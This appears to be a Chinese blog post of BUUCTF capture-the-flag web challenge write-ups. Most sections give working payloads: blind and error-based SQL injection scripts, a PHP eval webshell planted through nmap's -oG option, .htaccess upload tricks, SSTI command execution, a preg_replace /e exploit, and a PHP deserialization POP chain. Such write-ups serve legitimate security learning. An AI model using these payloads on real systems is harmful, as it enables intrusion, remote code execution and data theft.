BUUCTF记录1

BUU第一份

[极客大挑战 2019]HardSQL

首先尝试输入点东西

结果![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-13 22.14.07.png)

尝试万能密码![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-13 22.14.34.png)

跑一下看看都过滤了啥

该字符是非法字符: union
该字符是非法字符: and
该字符是非法字符: sleep
该字符是非法字符: by
该字符是非法字符: if
该字符是非法字符: char
该字符是非法字符: ascii
该字符是非法字符: mid
该字符是非法字符: substring
该字符是非法字符: handler
该字符是非法字符: benchmark
该字符是非法字符: insert
该字符是非法字符: *
该字符是非法字符: =
该字符是非法字符: \
该字符是非法字符: 空格

只能尝试报错注入了

1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),15)),0x7e),1))#
1'or(updatexml(1,concat(0x7e,(right((select(group_concat(password))from(H4rDsq1)),15)),0x7e),1))#

报错注入限制长度,用right函数切割

[CISCN2019 华北赛区 Day2 Web1]Hack World

布尔盲注

import requests
url="http://40a6cf54-8382-490a-8651-8324677bb273.node4.buuoj.cn:81/index.php"
flagchar="flag{-abcdef1234567890}"
for i in range(1,50):
    for j in flagchar:
        data={
            'id':f"if(ascii(substr((select(flag)from(flag)),{i},1))={ord(j)},2,1)"
        }
        tex=requests.post(url=url,data=data).text
        if "Do you want to be my girlfriend" in tex:
            print(j,end="")
            break

[GXYCTF2019]BabyUpload

首先尝试上传php文件,被过滤,尝试png图片,过滤,只能上传jpeg了,成功

发现服务器是apache服务器,尝试上传.htaccess文件

AddType application/x-httpd-php .jpeg

成功![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-14 20.14.17.png)

成功

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-14 20.18.24.png)

蚁剑链接即可

[BUUCTF 2018]Online Tool

上来两个函数escapeshellarg()和escapeshellcmd()

escapeshellarg()将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含exec(),system()执行运算符。
escapeshellcmd()对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到exec()或system()函数,或者执行操作符之前进行转义。反斜线(\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$,\x0A和\xFF。'和"仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及%和!字符都会被空格代替。

两个函数使用的例子

原始输入 172.17.0.2' -v -d a=1
escapeshellarg处理后 '172.17.0.2''' -v -d a=1'
escapeshellcmd处理后 '172.17.0.2'\'' -v -d a=1'

在本题中,使用的nmap有一个名为-oG的参数选项,可以将nmap的命令和执行结果写入文件

payload:?host=' <?php @eval($_POST["kkk"]);?> -oG kkk.php '

传入后变为

nmap -T5 -sT -Pn --host-timeout 2 -F ''<?php @eval($_POST["kkk"]);?> -oG kkk.php''

[BJDCTF2020]The mystery of ip

SSTI模版注入,以后学了在理解吧

X-Forwarded-For: {{system("cat /flag")}}

[RoarCTF 2019]Easy Calc

PHP字符串解析漏洞,查看数据包访问calc.php

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-14 22.29.28.png)

尝试传入scandir()扫描文件,发现WAF阻挡,将传入参数由num改为 num,php获取到的参数名称为num而WAF获取到 num,绕过WAF成功,扫描发现在根目录下有f1agg文件,使用file_get_content函数读取文件即可

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-14 22.35.38.png)

[网鼎杯 2018]Fakebook

首先注册后进入,发现no疑似存在SQL注入,尝试union select被过滤,尝试union/**/select成功

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-15 13.17.59.png)

爆出回显位置,以及似乎网页对数据库内容进行了反序列化,稍后再看,先进行SQL注入爆出内容

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-15 13.19.45.png)

发现用户信息是被序列化后存储在数据库中的,下一步应当尝试查看源码进行反序列化了,访问robots.txt发现了网站源码,源码对用户传入的博客链接进行访问并渲染,直接将链接改为本地文件并渲染,得到flag

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-15 13.30.53.png)

[GXYCTF2019]禁止套娃

首先看robots.txt发现没有内容,扫目录扫出.git,猜测有源码泄露,使用gitHack得到index.php

//index.php
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

第一步过滤了所有伪协议,只能执行函数了,下一步查看正则,大佬的解释如下

(?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。,引用一次正则则变成了[a-z,_]+\([a-z,_]+\((?R)?\)\),可以迭代下去,那么它所匹配的就是print(echo(1))、a(b(c()));类似这种可以括号和字符组成的,这其实是无参数RCE比较典型的例子

最终我们就是要构造一个无参嵌套函数执行,首先尝试扫描文件,查看是否有flag文件存在

知识点:localeconv函数返回一包含本地数字及货币格式信息的数组

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-20 22.15.48.png)

通过这个函数第一项我们可以拿到.,进而可以使用scandir函数扫描目录文件

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-20 22.17.17.png)

通过current取出第一位.,flag.php在倒数第二的位置,先使用array_reverse函数倒转排序,在使用next取第二位,使用hightlight_file读出文件

payload:?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-20 22.19.48.png)

[GWCTF 2019]我有一个数据库

进去就告诉你数据库是空的,先扫个文件吧,发现有robots.txt和/phpmyadmin/,先看robots,提示去phpinfo.php,就是个phpinfo页面,也没啥提示,看phpmyadmin,数据库里还真没东西

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-22 15.25.46.png)

看WP,发现是一个关于phpmyadmin的远程文件包含漏洞CVE-2018-12613

出现bug的代码位置:phpMyAdmin/index.php

可以看到传入的target需要满足的条件:

1、是字符串

2、没有index

3、不target_blacklist

4、满足Core类中checkPageValidity函数检查

最后一个条件的有关代码如下

上述函数可知,如果想要函数返回真,需要满足以下三个条件的任意一个

1、$page变量值在$white_list数组中

2、经过mb_substr()mb_strpos()处理的$page–>$_page的变量值在$_whitelist数组中,

3、经过urldecode(),mb_substr(),mb_strpos()处理的$page–>$_page的变量值在$_whitelist数组中,

开始构造payload,先挑一个在whitelist中的文件db_datadict.php然后加问号和我们想要包含的文件

payload:?target=db_datadict.php%253f/../../../../../../../../../flag

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-22 15.45.08.png)

[网鼎杯 2020 朱雀组]phpweb

打开网站查看源码,发现有一个延时5秒提交的参数,抓包查看参数名称发现可能是执行函数的东西,尝试highlight_file读取页面源码成功

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

过滤了大部分危险函数,继续看发现有一个Test类在销毁时会执行函数,可通过反序列化绕过函数禁用

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-23 00.33.29.png)

尝试构造成功,但没有发现flag,搜索一下发现在/tmp/flagoefiu4r93

payload:
POST
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"tac /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-23 00.36.23.png)

[BSidesCF 2020]Had a bad day

选猫猫或狗狗后url中出现注入点,尝试读取文件

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-25 23.42.45.png)

似乎会自动补后缀,去掉.php,读取源码

<?php
	$file = $_GET['category'];
	if(isset($file))
	{
		if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index"))
    {
			include ($file . '.php');
		}
		else{
			echo "Sorry, we currently only support woofers and meowers.";
		}
	}
?>

包含的条件是参数中有woofers,meowers或者index,任选一个构造payload,再使用过滤器base64编码就可以

payload:?category=php://filter/convert.base64-encode/resource=index/../flag

[BJDCTF2020]Mark loves cat

啥也没有先扫吧,扫出.git,githack跑一下,看源码

//index.php
<?php

$flag = file_get_contents('/flag');

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

用第二个判断,$yds=$flag即可

payload:?yds=flag

[强网杯 2019]高明的黑客

下载源码,3000个文件,打开看内容中有许多eval函数,但是执行时内容不一定可用,编写脚本进行测试

import os
import requests
import re
path="C:\phpstudy_pro\WWW\src\\"
files=os.listdir(path)
print(path)
for i in files:
    try:
        with open(path+i,'r') as f:
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    except:
        continue
    data={}
    parm={}
    for j in gets:
        parm[j]="echo 'jlanhere';"
    for j in posts:
        data[j] = "echo 'jlanhere';"
    tex=requests.post(url=f"http://src/{i}",data=data,params=parm).text
    if "jlanhere" in tex:
        tp={}
        for k in gets:
            tp = {}
            tp[k] = "echo 'jlanhere';"
            textt = requests.get(url=f"http://src/{i}",params=tp).text
            if "jlanhere" in textt:
                print("get")
                print(i)
                print(k)
                exit()
        for k in posts:
            tp = {}
            tp[k] = "echo 'jlanhere';"
            textt = requests.post(url=f"http://src/{i}",data=tp).text
            if "jlanhere" in textt:
                print("post")
                print(i)
                print(k)
                exit()

找出一个注入点

payload:
xk0SzyKwfzw.php?Efa5BVG=cat /flag

拿到flag

[安洵杯 2019]easy_web

看看传参,img的内容是被hex编码后再用两次base64编码得到的,解码内容如下

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-26 23.02.28.png)

尝试将index.php编码传入,得到源码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

直接看关键,md5强相等绕过

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
或
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

然后就是命令绕过,使用反斜杠绕过cat

payload:?cmd=ca\t /flag
POST:
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

直接测试出SSTI,但是这个渲染框架不是flask的,灰溜溜去看wp,发现是php的twig渲染模版,直接在cookie处放payload即可

payload:
Cookie: user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

[WUSTCTF2020]朴实无华

robots.txt->fAke_f1agggg.php->fl4g.php

<?php 
header('Content-type:text/html;charset=utf-8'); 
error_reporting(0); 
highlight_file(__file__); 


//level 1 
if (isset($_GET['num'])){ 
    $num = $_GET['num']; 
    if(intval($num) < 2020 && intval($num + 1) > 2021){ 
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>"; 
    }else{ 
        die("金钱解决不了穷人的本质问题"); 
    } 
}else{ 
    die("去非洲吧"); 
} 
//level 2 
if (isset($_GET['md5'])){ 
   $md5=$_GET['md5']; 
   if ($md5==md5($md5)) 
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>"; 
   else 
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); 
}else{ 
    die("去非洲吧"); 
} 

//get flag 
if (isset($_GET['get_flag'])){ 
    $get_flag = $_GET['get_flag']; 
    if(!strstr($get_flag," ")){ 
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag); 
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>"; 
        system($get_flag); 
    }else{ 
        die("快到非洲了"); 
    } 
}else{ 
    die("去非洲吧"); 
} 
?> 

首先intval函数特性

intval('2e4')=2
intval('2e4'+1)=20001
因为在执行下面的命令时相当于先执行了int('2e4')=20000再加一
所以第一个绕过num=2e4即可

第二个md5弱相等绕过

$md5=md5($md5)
开头是0e并且md5后也是0e即可
0e215962017

最后空格绕过和cat绕过

payload:fl4g.php?num=2e4&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[护网杯 2018]easy_tornado

进去三个文件

/flag.txt:flag in /fllllllllllllag
/welcome.txt:render
/hints.txt:md5(cookie_secret+md5(filename))

点击文件查看链接传参,很明显是文件名和对应的md5(cookie_secret+md5(filename))所以我们需要找到cookie_secret这一变量的值,再看welcome中有render,怀疑是SSTI,更改传参内容,出现error页面,测试SSTI成功

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-28 22.29.11.png)

在查找tornado获取环境变量在handler.settings中,直接构造

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-28 22.31.47.png)

在按照hints中内容构造hash即可

payload:file?filename=/fllllllllllllag&filehash=da1ca88f71d944d0819a420a222fc69c

[MRCTF2020]你传你🐎呢

Apache解析漏洞

#.htaccess
<FilesMatch "shell.png">
SetHandler application/x-httpd-php
</FilesMatch>

上传后蚁剑连接即可

[BJDCTF2020]ZJCTF,不过如此

先看代码

//index.php
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }
    include($file);  //next.php
}
else{
    highlight_file(__FILE__);
}
?>

构造先读取next.php中的内容

?file=php://filter/read=convert.base64-encode/resource=next.php&text=php://input
POST:
I have a dream
//next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

这时候要用一个正则的漏洞Preg_Replace代码执行漏洞解析

构造出正则内容为

re=\S*(多次匹配非空字符)

str=${phpinfo()}

测试成功

进而使用getFlag函数执行命令

payload:next.php?\S*={${getFlag()}}&cmd=system('cat /flag');

[De1CTF 2019]SSRF Me

上来就是代码

#! /usr/bin/env python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if (not os.path.exists(self.sandbox)):
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if (waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())


@app.route('/')
def index():
    return open("code.txt", "r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"


def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check = param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0', port=9999)

看代码关键点就是Task类中的函数执行,分析得出只要action中同时含有scan和read即可读取出文件并返回,而在De1ta路径中有创建Task类的过程,geneSign路径中可以获取sign值,所以让action=scanread&parma=flag.txt,通过geneSign路径获取sign即可,getSign函数中md5内容的拼接,是secert_key + param + action,而对于geneSign路径来说,action永远为scan,所以geneSign结果就是secert_key + param + 'scan'拼接出带有同时带有scan和read只要让param=flag.txtread即可,传入geneSign拿到sign值

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-29 15.50.50.png)

最终payload如下

payload:De1ta?param=flag.txt
Cookie: action=readscan;sign=1983e9273c0ae452b67ccecb2fb88ed2;

[网鼎杯 2020 朱雀组]Nmap

详见该题:[BUUCTF 2018]Online Tool

[SWPU2019]Web1

是SQL注入

1、空格过滤

2、注释符过滤

3、information_schema绕过

4、无列名注入

第一个用/**/绕过就行

第二个末尾加单引号闭合就行

最后一个使用innodb引擎绕过

条件是MySQL版本>5.5

表名在innodb_table_stats

列名在innodb_table_index

select table_name from mysql.innodb_table_stats where database_name=database()

首先是测试列数,为22列,回显在2,3位,然后爆表名

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)from(mysql.innodb_table_stats)where(database_name=database())),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

表名:ads,users

无列名注入

select 1,2,3 union select * from admin;

这样的话union select的内容就是前三列的内容

select `3` from (select 1,2,3 union select * from admin)a;

或者

select b from (select 1,2,3 as b union select * from admin)a;

这样就是第三列的内容

payload:-1'/**/union/**/select/**/1,(select/**/group_concat(b)from(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

[MRCTF2020]Ezpop

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
?>

反序列化不用多说,最后应该文件包含加PHP伪协议读取,找链子

__invoke需要以函数调用类,在Test的__get方法中,__get方法在Show中__toString调用类中不存在的方法时会被调用,最终构造出的就是

<?php
class Modifier{
    protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;
    }
    public function __toString(){
        return "output anything you want";
    }
}
class Test{
    public $p;
}
$payload = new Show('test');
$payload->str = new Test();
$payload->str->p = new Modifier();
$hack = new Show($payload);
echo urlencode(serialize($hack));
?>

内容base64解码即可

[NPUCTF2020]ReadlezPHP

查看源代码,发现了时间显示所使用的./time.php?source

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);
?>

反序列化构造出以b为函数名,以a为参数的函数执行即可,尝试system发现没有回显,可能是被过滤,再尝试eval,也被过滤,放弃执行系统命令,尝试执行php函数,使用assert包裹phpinfo(),查找flag成功

[CISCN2019 华东南赛区]Web11

在XFF位置尝试SSTI成功,输入报错发现使用的是smarty渲染,{system(‘ls /‘)}发现flag,{system(‘cp /flag /var/www/html/flag.txt’)}将文件带出即可

[极客大挑战 2019]FinalSQL

点提示发现注入点,过滤了空格,还是数字型注入,使用布尔盲注

爆库名:
id=2^(ascii(substr((select(database())),{i},1))={ord(j)})
正确返回3,错误返回2
爆表名
id=2^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),{i},1))={ord(j)})
爆列名
id=2^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{i},1))={ord(j)})

最终payload脚本

import requests
url="http://93af0548-22e2-4a84-8fd6-3a78dfdda8f3.node4.buuoj.cn:81/search.php"
name=",QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890"
flag="flag{1234567890-bcde},"
for i in range(1,100):
    for j in flag:
        parma={
            'id':f"2^(ascii(substr((select(group_concat(password))from(F1naI1y)where(username='flag')),{i},1))={ord(j)})"
        }
        tex=requests.get(url,params=parma).text
        if "Ohhh You find the flag read on!" in tex:
            print(j,end='')
            break

[0CTF 2016]piapiapia

没啥内容先扫目录,www.zip扫出源码,发现有隐藏的注册页面,先进行注册和登录,然后再查看源码

index.php和register.php一个登录一个注册
class.php关键函数
public function filter($string) {
	$escape = array('\'', '\\\\');
	$escape = '/' . implode('|', $escape) . '/';
	$string = preg_replace($escape, '_', $string);
	$safe = array('select', 'insert', 'update', 'delete', 'where');
	$safe = '/' . implode('|', $safe) . '/i';
	return preg_replace($safe, 'hacker', $string);
}
update.php更新个人信息内容
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
	$username = $_SESSION['username'];
	if(!preg_match('/^\d{11}$/', $_POST['phone']))
		die('Invalid phone');

	if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
		die('Invalid email');
	
	if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
		die('Invalid nickname');

	$file = $_FILES['photo'];
	if($file['size'] < 5 or $file['size'] > 1000000)
		die('Photo size error');

	move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
	$profile['phone'] = $_POST['phone'];
	$profile['email'] = $_POST['email'];
	$profile['nickname'] = $_POST['nickname'];
	$profile['photo'] = 'upload/' . md5($file['name']);
	$user->update_profile($username, serialize($profile));
	echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
profile.php
$profile = unserialize($profile);
$phone = $profile['phone'];		
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));//关键,如果其中photo文件名是config.php即可读取到flag

反序列化字符逃逸漏洞:

原始序列化字符串:
a:1:{s:5:"phone";s:5:"where";}
此时读取到的内容是phone=where
将字符串进行过滤,preg_replace('where', 'hacker', $string);
序列化后字符串变为
a:1:{s:5:"phone";s:5:"hacker";}
此时反序列化只读取前5位,hacke,后面的r就属于逃逸的字符了,那么如果我们构造出一个能逃逸足够长的字符的字符串,就可以让序列化后的字符串存入我们需要的内容,在本题中我们想要传入的是s:5:"photo";s:10:"config.php";},而又因为我们需要对nickname的内容进行绕过,此时nickname是一个数组所以我们最终需要逃逸的字符串就是"}s:5:"photo";s:10:"config.php";},所以最后构造payload使用关键字where,替换为hacker后能溢出,上面字符串有34个字符那么我们传入34个where+字符串即可

payload

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

[BJDCTF2020]EasySearch

扫描,得到index.php.swp

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

要求password经过md5处理后前六位是6d0bc1

